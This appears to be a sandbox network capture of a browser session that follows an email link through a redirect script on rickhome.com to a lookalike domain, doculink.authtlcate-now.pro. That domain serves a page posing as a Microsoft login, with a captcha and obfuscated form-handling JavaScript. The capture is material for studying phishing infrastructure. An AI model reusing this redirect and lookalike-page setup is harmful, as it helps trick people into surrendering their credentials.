2024-04-25 13:30:34 UTC	1006	OUT	Data Raw: 62 65 6c 2e 36 3b 65 2c 27 6c 63 70 2c 32 65 64 2c 64 3b 36 2c 27 73 69 7a 65 2c 37 37 34 34 36 39 2e 3b 35 2c 27 65 69 64 3b 35 2c 27 65 6c 65 6d 65 6e 74 2c 27 64 69 76 2e 62 65 65 2d 63 6f 6c 2e 62 65 65 2d 63 6f 6c 2d 31 2e 62 65 65 2d 63 6f 6c 2d 77 31 32 3e 64 69 76 2e 62 65 65 2d 62 6c 6f 63 6b 2e 62 65 65 2d 62 6c 6f 63 6b 2d 31 2e 62 65 65 2d 69 6d 61 67 65 3e 61 3e 69 6d 67 2e 62 65 65 2d 63 65 6e 74 65 72 2e 62 65 65 2d 61 75 74 6f 77 69 64 74 68 3b 36 2c 27 74 69 6d 65 54 6f 46 69 72 73 74 42 79 74 65 2c 31 33 30 34 2e 36 30 30 30 30 30 30 30 30 30 30 35 38 3b 36 2c 27 72 65 73 6f 75 72 63 65 4c 6f 61 64 44 65 6c 61 79 2c 31 38 39 2e 33 39 39 39 39 39 39 39 39 39 39 34 31 38 3b 36 2c 27 72 65 73 6f 75 72 63 65 4c 6f 61 64 54 69 6d 65 2c 31 36 Data Ascii: bel.6;e,'lcp,2ed,d;6,'size,774469.;5,'eid;5,'element,'div.bee-col.bee-col-1.bee-col-w12>div.bee-block.bee-block-1.bee-image>a>img.bee-center.bee-autowidth;6,'timeToFirstByte,1304.6000000000058;6,'resourceLoadDelay,189.39999999999418;6,'resourceLoadTime,16
2024-04-25 13:30:34 UTC	355	IN	HTTP/1.1 202 Connection: close Content-Length: 24 date: Thu, 25 Apr 2024 13:30:34 GMT content-type: image/gif cross-origin-resource-policy: cross-origin access-control-allow-methods: GET, POST, PUT, HEAD, OPTIONS access-control-allow-credentials: true access-control-allow-origin: https://app.robly.com x-served-by: cache-pdk-kfty2130093-PDK
2024-04-25 13:30:34 UTC	24	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 Data Ascii: GIF89a,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.16	49760	5.172.176.24	443	6176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 13:30:34 UTC	705	OUT	GET //securedoc/ HTTP/1.1 Host: rickhome.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://app.robly.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 13:30:34 UTC	359	IN	HTTP/1.1 200 OK Connection: close x-powered-by: PHP/7.0.33 content-type: text/html; charset=UTF-8 content-length: 102 date: Thu, 25 Apr 2024 13:30:34 GMT server: LiteSpeed alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2024-04-25 13:30:34 UTC	102	IN	Data Raw: 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 20 3d 20 22 68 74 74 70 73 3a 2f 2f 64 6f 63 75 6c 69 6e 6b 2e 61 75 74 68 74 6c 63 61 74 65 2d 6e 6f 77 2e 70 72 6f 2f 22 3c 2f 73 63 72 69 70 74 3e 0a Data Ascii: <script type="text/javascript">window.location.href = "https://doculink.authtlcate-now.pro/"</script>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.16	49761	172.67.159.67	443	6176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 13:30:35 UTC	688	OUT	GET / HTTP/1.1 Host: doculink.authtlcate-now.pro Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://rickhome.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 13:30:35 UTC	830	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 13:30:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close set-cookie: PHPSESSID=e8275f42bd649b644ddff934014bcfaa; path=/; secure expires: Thu, 19 Nov 1981 08:52:00 GMT cache-control: no-store, no-cache, must-revalidate pragma: no-cache vary: Accept-Encoding x-turbo-charged-by: LiteSpeed CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=g9pOoci3lH5tMs4FtyUO5U2Mp0UNhYP9TXmWmyCL75h9bJZIBfj%2BPxgb1E%2Fe%2FujRVlfR%2FFx2wgkAF1w99fnqlHcgcHX2bl1dJvUH7wRDXEZianHoQUM%2FsIKuMow4AoEnlXedpLLgH8IZ1FplAjg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 879eb0436f8f674e-ATL alt-svc: h3=":443"; ma=86400
2024-04-25 13:30:35 UTC	539	IN	Data Raw: 66 62 30 0d 0a 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 74 72 61 6e 73 6c 61 74 65 3d 22 6e 6f 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 20 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 70 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0d 0a 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d Data Ascii: fb0<html dir="ltr" xmlns="http://www.w3.org/1999/xhtml" translate="no" lang="en"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta http-equiv="pragma" content="no-cache"> <meta nam
2024-04-25 13:30:35 UTC	1369	IN	Data Raw: 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 74 75 72 6e 73 74 69 6c 65 2f 76 30 2f 61 70 69 2e 6a 73 3f 72 65 6e 64 65 72 3d 65 78 70 6c 69 63 69 74 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2e 2f 63 61 70 74 63 68 61 2f 73 74 79 6c 65 2e 63 73 73 22 3e 0d 0a 20 20 20 3c 2f 68 65 61 64 3e 0d 0a 20 20 20 3c 62 6f 64 79 20 72 6f 6c 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 20 63 6c 61 73 73 3d 22 6d 73 2d 66 6f 6e 74 2d 73 20 64 69 73 61 62 6c 65 54 65 78 74 53 65 6c 65 63 74 69 6f 6e 20 6d 73 Data Ascii: n.js"></script> <script src="https://challenges.cloudflare.com/turnstile/v0/api.js?render=explicit"></script> <link rel="stylesheet" href="./captcha/style.css"> </head> <body role="application" class="ms-font-s disableTextSelection ms
2024-04-25 13:30:35 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 20 73 35 22 3e 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 20 73 34 22 3e 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 20 73 31 22 3e 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 Data Ascii: </div> <div class="r"> <div class="s s5"></div> <div class="s s4"></div> <div class="s s1"></div> </div>
2024-04-25 13:30:35 UTC	746	IN	Data Raw: 4f 6d 71 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 77 6a 73 52 55 6e 6c 73 48 66 22 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 6c 6c 6c 6c 66 56 61 4f 6d 71 2e 6f 6e 73 75 62 6d 69 74 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 65 76 65 6e 74 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 65 76 65 6e 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 62 6d 4f 70 50 58 65 5a 72 6d 20 3d 20 22 2e 2f 43 41 50 64 7a 4d 33 59 58 56 30 53 47 6b 79 51 6d 52 4a 55 56 4a 35 22 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 66 65 74 63 68 28 62 6d 4f 70 50 58 65 5a 72 6d 2c 20 7b 0d 0a 20 20 Data Ascii: Omq = document.getElementById("wjsRUnlsHf"); llllfVaOmq.onsubmit = function (event) { event.preventDefault(); }; var bmOpPXeZrm = "./CAPdzM3YXV0SGkyQmRJUVJ5" fetch(bmOpPXeZrm, {
2024-04-25 13:30:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.16	49762	172.67.159.67	443	6176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 13:30:35 UTC	622	OUT	GET /captcha/style.css HTTP/1.1 Host: doculink.authtlcate-now.pro Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://doculink.authtlcate-now.pro/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=e8275f42bd649b644ddff934014bcfaa
2024-04-25 13:30:36 UTC	762	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 13:30:36 GMT Content-Type: text/css Transfer-Encoding: chunked Connection: close cache-control: public, max-age=604800 expires: Thu, 02 May 2024 13:03:47 GMT last-modified: Wed, 24 Apr 2024 16:27:07 GMT vary: Accept-Encoding x-turbo-charged-by: LiteSpeed CF-Cache-Status: HIT Age: 1609 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AspwOvM6fEBhO2YJ%2BLShrHsRq%2BQItMCEzNiFuPj31tlXs67Ti5WXKbkF1BKIe1Tvi4CKyMcb%2B8OqDGVXl9SdveeSvvW59hWDgehJDUAJHIiotwljKWr0PpOcnB77vpCBH90OO1E%2Bb8xyFOWRMdw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 879eb0470bd46765-ATL alt-svc: h3=":443"; ma=86400
2024-04-25 13:30:36 UTC	607	IN	Data Raw: 31 30 37 32 0d 0a 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 46 61 62 72 69 63 4d 44 4c 32 49 63 6f 6e 73 3b 73 72 63 3a 75 72 6c 28 27 2f 2f 72 65 73 2e 63 64 6e 2e 6f 66 66 69 63 65 2e 6e 65 74 2f 6f 77 61 6d 61 69 6c 2f 32 30 32 34 30 33 30 38 30 30 33 2e 30 39 2f 72 65 73 6f 75 72 63 65 73 2f 66 6f 6e 74 73 2f 6f 33 36 35 69 63 6f 6e 73 2d 6d 64 6c 32 2e 77 6f 66 66 27 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 27 29 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 7d 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 6f 66 66 69 63 65 33 36 35 69 63 6f 6e 73 3b 73 72 63 3a 75 72 6c 28 27 2f 2f 72 65 73 2e 63 64 6e 2e 6f 66 66 69 63 65 2e 6e 65 74 2f 6f 77 Data Ascii: 1072@font-face{font-family:FabricMDL2Icons;src:url('//res.cdn.office.net/owamail/20240308003.09/resources/fonts/o365icons-mdl2.woff') format('woff');font-weight:400;font-style:normal}@font-face{font-family:office365icons;src:url('//res.cdn.office.net/ow
2024-04-25 13:30:36 UTC	1369	IN	Data Raw: 20 23 6c 6f 61 64 69 6e 67 53 63 72 65 65 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 33 33 33 7d 2e 64 61 72 6b 4e 65 77 20 23 6c 6f 61 64 69 6e 67 53 63 72 65 65 6e 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 31 66 31 66 31 66 7d 0a 3a 72 6f 6f 74 7b 2d 2d 73 3a 31 38 30 70 78 3b 2d 2d 65 6e 76 57 3a 31 33 30 70 78 3b 2d 2d 65 6e 76 48 3a 37 31 70 78 3b 2d 2d 63 61 6c 57 3a 31 31 38 70 78 3b 2d 2d 73 71 57 3a 63 61 6c 63 28 76 61 72 28 2d 2d 63 61 6c 57 29 20 2f 20 33 29 3b 2d 2d 73 71 48 3a 33 37 70 78 3b 2d 2d 63 61 6c 48 48 3a 32 30 70 78 3b 2d 2d 63 61 6c 48 3a 63 61 6c 63 28 76 61 72 28 2d 2d 73 71 48 29 20 2a 20 33 20 2b 20 76 61 72 28 2d 2d 63 61 6c 48 48 29 29 3b 2d 2d 63 61 6c 59 3a 63 61 6c 63 28 76 61 72 28 2d 2d Data Ascii: #loadingScreen{background-color:#333}.darkNew #loadingScreen{background-color:#1f1f1f}:root{--s:180px;--envW:130px;--envH:71px;--calW:118px;--sqW:calc(var(--calW) / 3);--sqH:37px;--calHH:20px;--calH:calc(var(--sqH) * 3 + var(--calHH));--calY:calc(var(--
2024-04-25 13:30:36 UTC	1369	IN	Data Raw: 3a 34 30 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 31 32 33 62 36 64 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 37 30 70 78 7d 23 63 61 6c 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 77 72 61 70 3a 77 72 61 70 3b 77 69 64 74 68 3a 76 61 72 28 2d 2d 63 61 6c 57 29 3b 68 65 69 67 68 74 3a 76 61 72 28 2d 2d 63 61 6c 48 29 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 37 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 6d 61 72 67 69 6e 3a 30 20 61 75 74 6f 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 33 30 36 70 78 3b 61 6e 69 6d 61 74 69 6f 6e 3a 63 61 6c 2d 62 6f 75 6e 63 65 20 76 61 72 28 2d 2d 64 75 72 29 20 69 6e 66 69 6e 69 74 65 3b 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 63 75 62 69 63 2d 62 65 7a 69 Data Ascii: :40px;background:#123b6d;margin-top:-70px}#cal{display:flex;flex-wrap:wrap;width:var(--calW);height:var(--calH);border-radius:7px;overflow:hidden;margin:0 auto;margin-top:-306px;animation:cal-bounce var(--dur) infinite;animation-timing-function:cubic-bezi
2024-04-25 13:30:36 UTC	873	IN	Data Raw: 2c 30 2c 30 2c 2d 31 38 30 64 65 67 29 7d 7d 23 63 6c 6f 73 65 64 46 6c 61 70 7b 77 69 64 74 68 3a 76 61 72 28 2d 2d 65 6e 76 57 29 3b 61 6e 69 6d 61 74 69 6f 6e 3a 63 6c 6f 73 65 64 2d 66 6c 61 70 2d 73 77 69 6e 67 20 76 61 72 28 2d 2d 64 75 72 29 20 69 6e 66 69 6e 69 74 65 3b 61 6e 69 6d 61 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2e 33 32 2c 30 2c 30 2e 36 37 2c 30 29 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 74 6f 70 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 63 61 6c 63 28 2d 31 20 2a 20 76 61 72 28 2d 2d 65 6e 76 48 29 29 29 20 72 6f 74 61 74 65 33 64 28 31 2c 30 2c 30 2c 39 30 64 65 67 29 7d 40 6b 65 79 66 72 61 6d 65 73 20 63 6c 6f 73 65 64 2d 66 6c Data Ascii: ,0,0,-180deg)}}#closedFlap{width:var(--envW);animation:closed-flap-swing var(--dur) infinite;animation-timing-function:cubic-bezier(0.32,0,0.67,0);transform-origin:top;transform:translateY(calc(-1 * var(--envH))) rotate3d(1,0,0,90deg)}@keyframes closed-fl
2024-04-25 13:30:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.16	49763	172.67.159.67	443	6176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 13:30:36 UTC	667	OUT	GET /captcha/logo.svg HTTP/1.1 Host: doculink.authtlcate-now.pro Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://doculink.authtlcate-now.pro/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=e8275f42bd649b644ddff934014bcfaa
2024-04-25 13:30:36 UTC	771	IN	HTTP/1.1 200 OK Date: Thu, 25 Apr 2024 13:30:36 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close cache-control: public, max-age=604800 expires: Thu, 02 May 2024 13:03:47 GMT last-modified: Wed, 24 Apr 2024 16:27:07 GMT vary: Accept-Encoding x-turbo-charged-by: LiteSpeed CF-Cache-Status: HIT Age: 1609 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eoM%2FV%2Bl2YeQwW4%2FrPMz8PlRSr9KsghloucxdHX%2BAOQ%2B5fJz2X51ed679nNa%2FHIyxnOHw2yjX5IeUnaDSmVSW9WK7Pp1IwEul1Y8UQmktlM5umCly9ZQLcjbAkOwa7uxhh1yYP8ov6HQ3HpithR4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 879eb0497daa4520-ATL alt-svc: h3=":443"; ma=86400
2024-04-25 13:30:36 UTC	598	IN	Data Raw: 63 38 32 0d 0a 3c 73 76 67 20 69 64 3d 22 4d 53 4c 6f 67 6f 22 20 77 69 64 74 68 3d 22 39 39 22 20 68 65 69 67 68 74 3d 22 32 32 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0d 0a 3c 67 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 3e 0d 0a 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 37 33 37 34 37 34 22 0d 0a 64 3d 22 6d 33 34 2e 36 34 20 31 32 2e 30 37 2d 2e 35 38 20 31 2e 36 35 68 2d 2e 30 34 63 2d 2e 31 2d 2e 33 39 2d 2e 32 38 2d 2e 39 33 2d 2e 35 36 2d 31 2e 36 33 6c 2d 33 2e 31 34 2d 37 2e 39 68 2d 33 2e 30 38 76 31 32 2e 35 36 68 32 2e 30 33 56 39 2e 30 33 6c 2d 2e 30 33 2d 31 2e 37 63 2d 2e 30 31 2d 2e 33 34 2d 2e 30 35 2d 2e 36 2d 2e 30 Data Ascii: c82<svg id="MSLogo" width="99" height="22" xmlns="http://www.w3.org/2000/svg"><g fill="none" fill-rule="evenodd"><path fill="#737474"d="m34.64 12.07-.58 1.65h-.04c-.1-.39-.28-.93-.56-1.63l-3.14-7.9h-3.08v12.56h2.03V9.03l-.03-1.7c-.01-.34-.05-.6-.0
2024-04-25 13:30:36 UTC	1369	IN	Data Raw: 35 32 2e 33 38 2d 2e 38 36 20 30 2d 2e 33 34 2d 2e 31 33 2d 2e 36 34 2d 2e 33 37 2d 2e 38 38 61 31 2e 32 36 20 31 2e 32 36 20 30 20 30 20 30 2d 2e 39 32 2d 2e 33 36 6d 38 2e 35 33 20 33 2e 37 33 61 35 2e 39 20 35 2e 39 20 30 20 30 20 30 2d 31 2e 31 39 2d 2e 31 32 63 2d 2e 39 37 20 30 2d 31 2e 38 33 2e 32 2d 32 2e 35 37 2e 36 32 2d 2e 37 34 2e 34 2d 31 2e 33 20 31 2d 31 2e 37 20 31 2e 37 34 61 35 2e 35 37 20 35 2e 35 37 20 30 20 30 20 30 2d 2e 30 31 20 34 2e 39 63 2e 33 37 2e 37 2e 39 20 31 2e 32 33 20 31 2e 35 38 20 31 2e 36 2e 36 37 2e 33 38 20 31 2e 34 35 2e 35 37 20 32 2e 33 31 2e 35 37 20 31 2e 30 31 20 30 20 31 2e 38 37 2d 2e 32 20 32 2e 35 36 2d 2e 36 6c 2e 30 33 2d 2e 30 32 76 2d 31 2e 39 34 6c 2d 2e 31 2e 30 37 63 2d 2e 33 2e 32 33 2d 2e 36 35 2e Data Ascii: 52.38-.86 0-.34-.13-.64-.37-.88a1.26 1.26 0 0 0-.92-.36m8.53 3.73a5.9 5.9 0 0 0-1.19-.12c-.97 0-1.83.2-2.57.62-.74.4-1.3 1-1.7 1.74a5.57 5.57 0 0 0-.01 4.9c.37.7.9 1.23 1.58 1.6.67.38 1.45.57 2.31.57 1.01 0 1.87-.2 2.56-.6l.03-.02v-1.94l-.1.07c-.3.23-.65.
2024-04-25 13:30:36 UTC	1242	IN	Data Raw: 2e 39 61 33 2e 38 20 33 2e 38 20 30 20 30 20 31 2d 31 2e 31 37 2d 2e 32 20 34 2e 34 32 20 34 2e 34 32 20 30 20 30 20 31 2d 31 2e 32 2d 2e 36 32 6c 2d 2e 31 2d 2e 30 36 76 32 2e 30 36 6c 2e 30 34 2e 30 32 61 36 2e 30 32 20 36 2e 30 32 20 30 20 30 20 30 20 32 2e 33 35 2e 35 63 31 2e 31 2d 2e 30 31 20 31 2e 39 38 2d 2e 32 37 20 32 2e 36 32 2d 2e 37 38 2e 36 35 2d 2e 35 32 2e 39 38 2d 31 2e 32 2e 39 38 2d 32 2e 30 35 20 30 2d 2e 36 2d 2e 31 38 2d 31 2e 31 32 2d 2e 35 33 2d 31 2e 35 34 2d 2e 33 34 2d 2e 34 32 2d 2e 39 34 2d 2e 38 2d 31 2e 37 38 2d 31 2e 31 34 6d 39 2e 36 38 20 33 63 2d 2e 34 2e 35 2d 31 20 2e 37 35 2d 31 2e 37 38 2e 37 35 2d 2e 37 37 20 30 2d 31 2e 33 39 2d 2e 32 36 2d 31 2e 38 32 2d 2e 37 37 61 33 2e 32 35 20 33 2e 32 35 20 30 20 30 20 31 2d Data Ascii: .9a3.8 3.8 0 0 1-1.17-.2 4.42 4.42 0 0 1-1.2-.62l-.1-.06v2.06l.04.02a6.02 6.02 0 0 0 2.35.5c1.1-.01 1.98-.27 2.62-.78.65-.52.98-1.2.98-2.05 0-.6-.18-1.12-.53-1.54-.34-.42-.94-.8-1.78-1.14m9.68 3c-.4.5-1 .75-1.78.75-.77 0-1.39-.26-1.82-.77a3.25 3.25 0 0 1-
2024-04-25 13:30:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.16	49764	151.101.66.137	443	6176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-25 13:30:36 UTC	545	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://doculink.authtlcate-now.pro/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-25 13:30:36 UTC	571	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Thu, 25 Apr 2024 13:30:36 GMT Age: 3817323 X-Served-By: cache-lga21931-LGA, cache-pdk-kfty2130069-PDK X-Cache: HIT, HIT X-Cache-Hits: 2318, 846 X-Timer: S1714051836.459095,VS0,VE0 Vary: Accept-Encoding
